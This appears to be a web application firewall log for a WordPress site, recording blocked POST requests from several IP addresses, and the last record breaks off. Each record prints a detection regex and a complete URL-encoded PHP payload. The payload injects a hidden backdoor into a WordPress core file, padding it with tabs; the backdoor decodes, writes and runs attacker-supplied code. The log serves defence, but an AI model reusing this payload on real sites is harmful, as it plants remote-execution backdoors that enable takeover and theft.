["2026-05-12 09:42:46","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ED:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/require-static-blocks.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522des%255Cx63%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_POST%255B%2522des%255Cx63%2522%255D%2529%253B%2520%2524key%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524obj%2529%253B%2520%2524e%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524obj%255B%2524e%255D%2529%2520%255E%252094%2529%253B%257D%2520%2524bind%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524bind%2520as%2520%2524resource%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524resource%2529%2520%257C%257C%2520%2521is_writable%2528%2524resource%2529%2520%2529%2529%2520%257B%2520%2524res%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524resource%252C%2520%2522.pset%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524res%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3765\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEHDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nED=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/require-static-blocks.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522des%255Cx63%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_POST%255B%2522des%255Cx63%2522%255D%2529%253B%2520%2524key%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524obj%2529%253B%2520%2524e%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524obj%255B%2524e%255D%2529%2520%255E%252094%2529%253B%257D%2520%2524bind%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524bind%2520as%2520%2524resource%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524resource%2529%2520%257C%257C%2520%2521is_writable%2528%2524resource%2529%2520%2529%2529%2520%257B%2520%2524res%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524resource%252C%2520%2522.pset%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524res%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:42:48","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/require-static-blocks.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522des%255Cx63%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_POST%255B%2522des%255Cx63%2522%255D%2529%253B%2520%2524key%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524obj%2529%253B%2520%2524e%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524obj%255B%2524e%255D%2529%2520%255E%252094%2529%253B%257D%2520%2524bind%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524bind%2520as%2520%2524resource%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524resource%2529%2520%257C%257C%2520%2521is_writable%2528%2524resource%2529%2520%2529%2529%2520%257B%2520%2524res%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524resource%252C%2520%2522.pset%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524res%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3765\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFSpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nHW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/require-static-blocks.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522des%255Cx63%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_POST%255B%2522des%255Cx63%2522%255D%2529%253B%2520%2524key%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524obj%2529%253B%2520%2524e%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524obj%255B%2524e%255D%2529%2520%255E%252094%2529%253B%257D%2520%2524bind%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524bind%2520as%2520%2524resource%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524resource%2529%2520%257C%257C%2520%2521is_writable%2528%2524resource%2529%2520%2529%2529%2520%257B%2520%2524res%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524resource%252C%2520%2522.pset%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524res%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:42:50","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Bv:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/require-static-blocks.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522des%255Cx63%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_POST%255B%2522des%255Cx63%2522%255D%2529%253B%2520%2524key%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524obj%2529%253B%2520%2524e%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524obj%255B%2524e%255D%2529%2520%255E%252094%2529%253B%257D%2520%2524bind%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524bind%2520as%2520%2524resource%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524resource%2529%2520%257C%257C%2520%2521is_writable%2528%2524resource%2529%2520%2529%2529%2520%257B%2520%2524res%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524resource%252C%2520%2522.pset%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524res%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3765\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDaLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nBv=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/require-static-blocks.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522des%255Cx63%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_POST%255B%2522des%255Cx63%2522%255D%2529%253B%2520%2524key%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524obj%2529%253B%2520%2524e%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524obj%255B%2524e%255D%2529%2520%255E%252094%2529%253B%257D%2520%2524bind%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524bind%2520as%2520%2524resource%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524resource%2529%2520%257C%257C%2520%2521is_writable%2528%2524resource%2529%2520%2529%2529%2520%257B%2520%2524res%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524resource%252C%2520%2522.pset%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524res%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:42:52","51.38.81.255","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/require-static-blocks.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522des%255Cx63%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_POST%255B%2522des%255Cx63%2522%255D%2529%253B%2520%2524key%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524obj%2529%253B%2520%2524e%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524obj%255B%2524e%255D%2529%2520%255E%252094%2529%253B%257D%2520%2524bind%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524bind%2520as%2520%2524resource%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524resource%2529%2520%257C%257C%2520%2521is_writable%2528%2524resource%2529%2520%2529%2529%2520%257B%2520%2524res%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524resource%252C%2520%2522.pset%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524res%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 